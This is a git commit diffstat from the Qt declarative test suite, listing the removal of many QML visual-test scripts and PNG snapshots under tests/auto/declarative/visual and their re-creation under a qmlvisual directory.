.../qdeclarativepathview/data/test-pathview.0.png | Bin 2321 -> 0 bytes .../qdeclarativepathview/data/test-pathview.1.png | Bin 2380 -> 0 bytes .../qdeclarativepathview/data/test-pathview.2.png | Bin 2315 -> 0 bytes .../qdeclarativepathview/data/test-pathview.3.png | Bin 2372 -> 0 bytes .../qdeclarativepathview/data/test-pathview.4.png | Bin 2327 -> 0 bytes .../qdeclarativepathview/data/test-pathview.qml | 1495 ----- .../qdeclarativepathview/test-pathview-2.qml | 62 - .../visual/qdeclarativepathview/test-pathview.qml | 62 - .../qdeclarativepositioners/data/dynamic.0.png | Bin 1429 -> 0 bytes .../qdeclarativepositioners/data/dynamic.1.png | Bin 1433 -> 0 bytes .../qdeclarativepositioners/data/dynamic.2.png | Bin 1431 -> 0 bytes .../qdeclarativepositioners/data/dynamic.3.png | Bin 1428 -> 0 bytes .../qdeclarativepositioners/data/dynamic.4.png | Bin 1432 -> 0 bytes .../qdeclarativepositioners/data/dynamic.5.png | Bin 1434 -> 0 bytes .../qdeclarativepositioners/data/dynamic.qml | 1603 ----- .../qdeclarativepositioners/data/repeater.0.png | Bin 2790 -> 0 bytes .../qdeclarativepositioners/data/repeater.qml | 339 - .../visual/qdeclarativepositioners/dynamic.qml | 65 - .../visual/qdeclarativepositioners/repeater.qml | 15 - .../visual/qdeclarativespringfollow/clock.qml | 64 - .../content/background.png | Bin 46895 -> 0 bytes .../qdeclarativespringfollow/content/center.png | Bin 765 -> 0 bytes .../qdeclarativespringfollow/content/clock.png | Bin 20653 -> 0 bytes .../qdeclarativespringfollow/content/hour.png | Bin 625 -> 0 bytes .../qdeclarativespringfollow/content/minute.png | Bin 625 -> 0 bytes .../qdeclarativespringfollow/content/second.png | Bin 303 -> 0 bytes .../qdeclarativespringfollow/data/clock.0.png | Bin 17294 -> 0 bytes .../qdeclarativespringfollow/data/clock.1.png | Bin 17394 -> 0 bytes .../qdeclarativespringfollow/data/clock.2.png | Bin 17524 -> 0 bytes .../qdeclarativespringfollow/data/clock.3.png | Bin 17572 -> 0 bytes .../visual/qdeclarativespringfollow/data/clock.qml | 1135 ---- .../qdeclarativespringfollow/data/follow.0.png | Bin 959 -> 0 bytes .../qdeclarativespringfollow/data/follow.1.png | Bin 1244 -> 0 bytes .../qdeclarativespringfollow/data/follow.10.png | Bin 1299 -> 0 bytes .../qdeclarativespringfollow/data/follow.2.png | Bin 1224 -> 0 bytes .../qdeclarativespringfollow/data/follow.3.png | Bin 1243 -> 0 bytes .../qdeclarativespringfollow/data/follow.4.png | Bin 1230 -> 0 bytes .../qdeclarativespringfollow/data/follow.5.png | Bin 1231 -> 0 bytes .../qdeclarativespringfollow/data/follow.6.png | Bin 1239 -> 0 bytes .../qdeclarativespringfollow/data/follow.7.png | Bin 1241 -> 0 bytes .../qdeclarativespringfollow/data/follow.8.png | Bin 1237 -> 0 bytes .../qdeclarativespringfollow/data/follow.9.png | Bin 1229 -> 0 bytes .../qdeclarativespringfollow/data/follow.qml | 1763 ----- .../visual/qdeclarativespringfollow/follow.qml | 71 - .../baseline/data-X11/parentanchor.qml | 131 - .../baseline/data/parentanchor.qml | 131 - .../qdeclarativetext/baseline/parentanchor.qml | 14 - .../qdeclarativetext/elide/data-MAC/elide.0.png | Bin 2276 -> 0 bytes .../qdeclarativetext/elide/data-MAC/elide.qml | 279 - .../qdeclarativetext/elide/data-MAC/elide2.0.png | Bin 4818 -> 0 bytes .../qdeclarativetext/elide/data-MAC/elide2.1.png | Bin 4089 -> 0 bytes .../qdeclarativetext/elide/data-MAC/elide2.2.png | Bin 3128 -> 0 bytes .../qdeclarativetext/elide/data-MAC/elide2.3.png | Bin 1963 -> 0 bytes .../qdeclarativetext/elide/data-MAC/elide2.qml | 991 --- .../elide/data-MAC/multilength.0.png | Bin 736 -> 0 bytes .../elide/data-MAC/multilength.qml | 303 - .../qdeclarativetext/elide/data-X11/elide.0.png | Bin 1002 -> 0 bytes .../qdeclarativetext/elide/data-X11/elide.qml | 279 - .../elide/data-X11/multilength.0.png | Bin 596 -> 0 bytes .../elide/data-X11/multilength.qml | 303 - .../visual/qdeclarativetext/elide/data/elide.0.png | Bin 1604 -> 0 bytes .../visual/qdeclarativetext/elide/data/elide.qml | 279 - .../qdeclarativetext/elide/data/elide2.0.png | Bin 4818 -> 0 bytes .../qdeclarativetext/elide/data/elide2.1.png | Bin 4089 -> 0 bytes .../qdeclarativetext/elide/data/elide2.2.png | Bin 3128 -> 0 bytes .../qdeclarativetext/elide/data/elide2.3.png | Bin 1963 -> 0 bytes .../visual/qdeclarativetext/elide/data/elide2.qml | 991 --- .../visual/qdeclarativetext/elide/elide.qml | 31 - .../visual/qdeclarativetext/elide/elide2.qml | 12 - .../visual/qdeclarativetext/elide/multilength.qml | 19 - .../qdeclarativetext/font/data-MAC/plaintext.0.png | Bin 103018 -> 0 bytes .../qdeclarativetext/font/data-MAC/plaintext.qml | 351 - .../qdeclarativetext/font/data-MAC/richtext.0.png | Bin 136492 -> 0 bytes .../qdeclarativetext/font/data-MAC/richtext.qml | 359 - .../qdeclarativetext/font/data/plaintext.0.png | Bin 94120 -> 0 bytes .../qdeclarativetext/font/data/plaintext.qml | 351 - .../qdeclarativetext/font/data/richtext.0.png | Bin 121122 -> 0 bytes .../visual/qdeclarativetext/font/data/richtext.qml | 359 - .../visual/qdeclarativetext/font/plaintext.qml | 85 - .../visual/qdeclarativetext/font/richtext.qml | 85 - .../visual/qdeclarativetextedit/cursorDelegate.qml | 35 - .../data-MAC/cursorDelegate.0.png | Bin 793 -> 0 bytes .../data-MAC/cursorDelegate.1.png | Bin 795 -> 0 bytes .../data-MAC/cursorDelegate.2.png | Bin 803 -> 0 bytes .../data-MAC/cursorDelegate.3.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.4.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.5.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.6.png | Bin 799 -> 0 bytes .../data-MAC/cursorDelegate.7.png | Bin 799 -> 0 bytes .../data-MAC/cursorDelegate.8.png | Bin 803 -> 0 bytes .../data-MAC/cursorDelegate.qml | 3555 ---------- .../qdeclarativetextedit/data-MAC/qt-669.0.png | Bin 365 -> 0 bytes .../qdeclarativetextedit/data-MAC/qt-669.1.png | Bin 365 -> 0 bytes .../qdeclarativetextedit/data-MAC/qt-669.2.png | Bin 366 -> 0 bytes .../qdeclarativetextedit/data-MAC/qt-669.3.png | Bin 362 -> 0 bytes .../qdeclarativetextedit/data-MAC/qt-669.qml | 1371 ---- .../qdeclarativetextedit/data-X11/wrap.0.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.1.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.2.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.3.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.4.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.5.png | Bin 1110 -> 0 bytes .../qdeclarativetextedit/data-X11/wrap.6.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data-X11/wrap.qml | 2467 ------- .../qdeclarativetextedit/data/cursorDelegate.0.png | Bin 3322 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.1.png | Bin 3323 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.2.png | Bin 3325 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.3.png | Bin 3332 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.4.png | Bin 3329 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.5.png | Bin 3818 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.6.png | Bin 3333 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.7.png | Bin 3332 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.8.png | Bin 3347 -> 0 bytes .../qdeclarativetextedit/data/cursorDelegate.qml | 3555 ---------- .../visual/qdeclarativetextedit/data/qt-669.0.png | Bin 4802 -> 0 bytes .../visual/qdeclarativetextedit/data/qt-669.1.png | Bin 4804 -> 0 bytes .../visual/qdeclarativetextedit/data/qt-669.2.png | Bin 4801 -> 0 bytes .../visual/qdeclarativetextedit/data/qt-669.3.png | Bin 4791 -> 0 bytes .../visual/qdeclarativetextedit/data/qt-669.qml | 1371 ---- .../visual/qdeclarativetextedit/data/wrap.0.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.1.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.2.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.3.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.4.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.5.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.6.png | Bin 1110 -> 0 bytes .../visual/qdeclarativetextedit/data/wrap.qml | 2467 ------- .../visual/qdeclarativetextedit/qt-669.qml | 19 - .../visual/qdeclarativetextedit/wrap.qml | 21 - .../qdeclarativetextinput/cursorDelegate.qml | 35 - .../data-MAC/cursorDelegate.0.png | Bin 793 -> 0 bytes .../data-MAC/cursorDelegate.1.png | Bin 796 -> 0 bytes .../data-MAC/cursorDelegate.2.png | Bin 804 -> 0 bytes .../data-MAC/cursorDelegate.3.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.4.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.5.png | Bin 805 -> 0 bytes .../data-MAC/cursorDelegate.6.png | Bin 801 -> 0 bytes .../data-MAC/cursorDelegate.7.png | Bin 802 -> 0 bytes .../data-MAC/cursorDelegate.8.png | Bin 802 -> 0 bytes .../data-MAC/cursorDelegate.qml | 3379 ---------- .../qdeclarativetextinput/data-X11/echoMode.0.png | Bin 999 -> 0 bytes .../qdeclarativetextinput/data-X11/echoMode.1.png | Bin 1880 -> 0 bytes .../qdeclarativetextinput/data-X11/echoMode.2.png | Bin 2962 -> 0 bytes .../qdeclarativetextinput/data-X11/echoMode.3.png | Bin 2827 -> 0 bytes .../qdeclarativetextinput/data-X11/echoMode.4.png | Bin 2827 -> 0 bytes .../qdeclarativetextinput/data-X11/echoMode.qml | 1043 --- .../qdeclarativetextinput/data-X11/hAlign.0.png | Bin 1245 -> 0 bytes .../qdeclarativetextinput/data-X11/hAlign.qml | 107 - .../data/cursorDelegate.0.png | Bin 3314 -> 0 bytes .../data/cursorDelegate.1.png | Bin 3377 -> 0 bytes .../data/cursorDelegate.2.png | Bin 3323 -> 0 bytes .../data/cursorDelegate.3.png | Bin 3325 -> 0 bytes .../data/cursorDelegate.4.png | Bin 3322 -> 0 bytes .../data/cursorDelegate.5.png | Bin 3322 -> 0 bytes .../data/cursorDelegate.6.png | Bin 3326 -> 0 bytes .../data/cursorDelegate.7.png | Bin 3814 -> 0 bytes .../data/cursorDelegate.8.png | Bin 3324 -> 0 bytes .../qdeclarativetextinput/data/cursorDelegate.qml | 3379 ---------- .../qdeclarativetextinput/data/echoMode.0.png | Bin 999 -> 0 bytes .../qdeclarativetextinput/data/echoMode.1.png | Bin 1880 -> 0 bytes .../qdeclarativetextinput/data/echoMode.2.png | Bin 2962 -> 0 bytes .../qdeclarativetextinput/data/echoMode.3.png | Bin 2827 -> 0 bytes .../qdeclarativetextinput/data/echoMode.4.png | Bin 2827 -> 0 bytes .../visual/qdeclarativetextinput/data/echoMode.qml | 1043 --- .../visual/qdeclarativetextinput/data/hAlign.0.png | Bin 1245 -> 0 bytes .../visual/qdeclarativetextinput/data/hAlign.qml | 107 - .../visual/qdeclarativetextinput/echoMode.qml | 10 - .../visual/qdeclarativetextinput/hAlign.qml | 39 - .../visual/qfxwebview/autosize/autosize.qml | 61 - .../qfxwebview/autosize/data-X11/autosize.0.png | Bin 6886 -> 0 bytes .../qfxwebview/autosize/data-X11/autosize.qml | 83 - .../visual/qfxwebview/autosize/data/autosize.0.png | Bin 6886 -> 0 bytes .../visual/qfxwebview/autosize/data/autosize.qml | 83 - .../auto/declarative/visual/rect/GradientRect.qml | 25 - tests/auto/declarative/visual/rect/MyRect.qml | 21 - .../visual/rect/data/rect-painting.0.png | Bin 29725 -> 0 bytes .../declarative/visual/rect/data/rect-painting.qml | 287 - .../auto/declarative/visual/rect/rect-painting.qml | 55 - tests/auto/declarative/visual/repeater/basic1.qml | 27 - tests/auto/declarative/visual/repeater/basic2.qml | 31 - tests/auto/declarative/visual/repeater/basic3.qml | 29 - tests/auto/declarative/visual/repeater/basic4.qml | 33 - .../visual/repeater/data-MAC/basic1.0.png | Bin 1550 -> 0 bytes .../visual/repeater/data-MAC/basic1.qml | 323 - .../visual/repeater/data-MAC/basic2.0.png | Bin 1550 -> 0 bytes .../visual/repeater/data-MAC/basic2.qml | 331 - .../visual/repeater/data-MAC/basic3.0.png | Bin 1550 -> 0 bytes .../visual/repeater/data-MAC/basic3.qml | 347 - .../visual/repeater/data-MAC/basic4.0.png | Bin 1550 -> 0 bytes .../visual/repeater/data-MAC/basic4.qml | 419 -- .../visual/repeater/data-X11/basic1.0.png | Bin 1354 -> 0 bytes .../visual/repeater/data-X11/basic1.qml | 323 - .../visual/repeater/data-X11/basic2.0.png | Bin 1354 -> 0 bytes .../visual/repeater/data-X11/basic2.qml | 331 - .../visual/repeater/data-X11/basic3.0.png | Bin 1354 -> 0 bytes .../visual/repeater/data-X11/basic3.qml | 347 - .../visual/repeater/data-X11/basic4.0.png | Bin 1354 -> 0 bytes .../visual/repeater/data-X11/basic4.qml | 419 -- .../declarative/visual/repeater/data/basic1.0.png | Bin 1513 -> 0 bytes .../declarative/visual/repeater/data/basic1.qml | 323 - .../declarative/visual/repeater/data/basic2.0.png | Bin 1513 -> 0 bytes .../declarative/visual/repeater/data/basic2.qml | 331 - .../declarative/visual/repeater/data/basic3.0.png | Bin 1513 -> 0 bytes .../declarative/visual/repeater/data/basic3.qml | 347 - .../declarative/visual/repeater/data/basic4.0.png | Bin 1513 -> 0 bytes .../declarative/visual/repeater/data/basic4.qml | 419 -- .../selftest_noimages/data/selftest_noimages.qml | 470 -- .../visual/selftest_noimages/selftest_noimages.qml | 9 - tests/auto/declarative/visual/tst_visual.cpp | 370 - tests/auto/declarative/visual/visual.pro | 7 - .../visual/webview/embedding/data/nesting.0.png | Bin 5659 -> 0 bytes .../visual/webview/embedding/data/nesting.qml | 363 - .../declarative/visual/webview/embedding/egg.qml | 26 - .../visual/webview/embedding/nesting.html | 9 - .../visual/webview/embedding/nesting.qml | 9 - .../javascript/data/evaluateJavaScript.0.png | Bin 7999 -> 0 bytes .../javascript/data/evaluateJavaScript.1.png | Bin 8020 -> 0 bytes .../javascript/data/evaluateJavaScript.2.png | Bin 8143 -> 0 bytes .../javascript/data/evaluateJavaScript.3.png | Bin 8158 -> 0 bytes .../javascript/data/evaluateJavaScript.4.png | Bin 8284 -> 0 bytes .../javascript/data/evaluateJavaScript.5.png | Bin 8284 -> 0 bytes .../javascript/data/evaluateJavaScript.6.png | Bin 8284 -> 0 bytes .../javascript/data/evaluateJavaScript.7.png | Bin 8284 -> 0 bytes .../javascript/data/evaluateJavaScript.8.png | Bin 8284 -> 0 bytes .../webview/javascript/data/evaluateJavaScript.qml | 3759 ----------- .../webview/javascript/data/windowObjects.0.png | Bin 7991 -> 0 bytes .../webview/javascript/data/windowObjects.1.png | Bin 7991 -> 0 bytes .../webview/javascript/data/windowObjects.2.png | Bin 7643 -> 0 bytes .../webview/javascript/data/windowObjects.3.png | Bin 7733 -> 0 bytes .../webview/javascript/data/windowObjects.4.png | Bin 8116 -> 0 bytes .../webview/javascript/data/windowObjects.qml | 2643 -------- .../webview/javascript/evaluateJavaScript.qml | 32 - .../visual/webview/javascript/test-objects.html | 12 - .../visual/webview/javascript/windowObjects.qml | 27 - .../visual/webview/settings/data/fontFamily.0.png | Bin 3774 -> 0 bytes .../visual/webview/settings/data/fontFamily.qml | 395 -- .../visual/webview/settings/data/fontSize.0.png | Bin 32180 -> 0 bytes .../visual/webview/settings/data/fontSize.qml | 339 - .../webview/settings/data/noAutoLoadImages.0.png | Bin 6609 -> 0 bytes .../webview/settings/data/noAutoLoadImages.1.png | Bin 6609 -> 0 bytes .../webview/settings/data/noAutoLoadImages.qml | 595 -- .../webview/settings/data/setFontFamily.0.png | Bin 12132 -> 0 bytes .../visual/webview/settings/data/setFontFamily.qml | 351 - .../visual/webview/settings/fontFamily.qml | 17 - .../visual/webview/settings/fontSize.qml | 71 - .../visual/webview/settings/noAutoLoadImages.qml | 21 - .../declarative/visual/webview/settings/qtlogo.png | Bin 2738 -> 0 bytes .../visual/webview/settings/setFontFamily.qml | 11 - .../visual/webview/settings/tarzeau_ocr_a.ttf | Bin 24544 -> 0 bytes .../visual/webview/settings/test-img.html | 6 - .../declarative/visual/webview/settings/test.html | 9 - .../visual/webview/zooming/data/pageWidth.qml | 227 - .../webview/zooming/data/renderControl.0.png | Bin 7589 -> 0 bytes .../visual/webview/zooming/data/renderControl.qml | 415 -- .../visual/webview/zooming/data/resolution.0.png | Bin 6275 -> 0 bytes .../visual/webview/zooming/data/resolution.1.png | Bin 3553 -> 0 bytes .../visual/webview/zooming/data/resolution.2.png | Bin 5838 -> 0 bytes .../visual/webview/zooming/data/resolution.3.png | Bin 8005 -> 0 bytes .../visual/webview/zooming/data/resolution.4.png | Bin 6087 -> 0 bytes .../visual/webview/zooming/data/resolution.qml | 1319 ---- .../visual/webview/zooming/data/zoomTextOnly.0.png | Bin 5589 -> 0 bytes .../visual/webview/zooming/data/zoomTextOnly.1.png | Bin 6848 -> 0 bytes .../visual/webview/zooming/data/zoomTextOnly.qml | 655 -- .../visual/webview/zooming/data/zooming.0.png | Bin 735 -> 0 bytes .../visual/webview/zooming/data/zooming.1.png | Bin 735 -> 0 bytes .../visual/webview/zooming/data/zooming.2.png | Bin 735 -> 0 bytes .../visual/webview/zooming/data/zooming.3.png | Bin 735 -> 0 bytes .../visual/webview/zooming/data/zooming.qml | 2115 ------ .../visual/webview/zooming/pageWidth.qml | 10 - .../declarative/visual/webview/zooming/qtlogo.png | Bin 2738 -> 0 bytes .../visual/webview/zooming/renderControl.html | 7 - .../visual/webview/zooming/renderControl.qml | 21 - .../visual/webview/zooming/resolution.html | 6 - .../visual/webview/zooming/resolution.qml | 16 - .../visual/webview/zooming/zoomTextOnly.html | 7 - .../visual/webview/zooming/zoomTextOnly.qml | 14 - .../visual/webview/zooming/zooming.html | 6 - .../declarative/visual/webview/zooming/zooming.qml | 18 - 1351 files changed, 138051 insertions(+), 138058 deletions(-) create mode 100644 tests/auto/declarative/qmlvisual/ListView/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.0.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.1.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.2.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.3.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.4.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.5.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.6.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/itemlist.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.0.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.1.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.10.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.11.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.12.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.13.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.14.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.15.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.16.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.17.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.18.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.19.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.2.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.3.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.4.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.5.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.6.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.7.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.8.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.9.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-MAC/listview.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-X11/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-X11/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-X11/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data-X11/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/basic1.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/basic2.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/basic3.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/basic4.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.0.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.1.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.2.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.3.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.4.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.5.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.6.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/itemlist.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.0.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.1.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.10.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.11.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.12.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.13.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.14.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.15.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.16.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.17.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.18.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.19.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.2.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.3.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.4.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.5.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.6.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.7.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.8.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.9.png create mode 100644 tests/auto/declarative/qmlvisual/ListView/data/listview.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/itemlist.qml create mode 100644 tests/auto/declarative/qmlvisual/ListView/listview.qml create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.0.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.1.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.10.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.11.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.12.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.13.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.14.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.15.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.16.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.17.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.18.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.19.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.2.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.20.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.21.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.22.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.3.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.4.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.5.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.6.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.7.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.8.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.9.png create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/data/packageviews.qml create mode 100644 tests/auto/declarative/qmlvisual/Package_Views/packageviews.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/bindinganimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.4.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.5.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.6.png create mode 100644 tests/auto/declarative/qmlvisual/animation/bindinganimation/data/bindinganimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/colorAnimation/colorAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/easing.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/easing/pics/qtlogo.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.4.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.5.png create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/data/loop.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/loop/loop.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parallelAnimation/data/parallelAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/parallelAnimation/parallelAnimation.qml create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.0.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.1.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.2.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.3.png create mode 100644 tests/auto/declarative/qmlvisual/animation/parentAnimation/data/parentAnimation.4.png create mode 100644 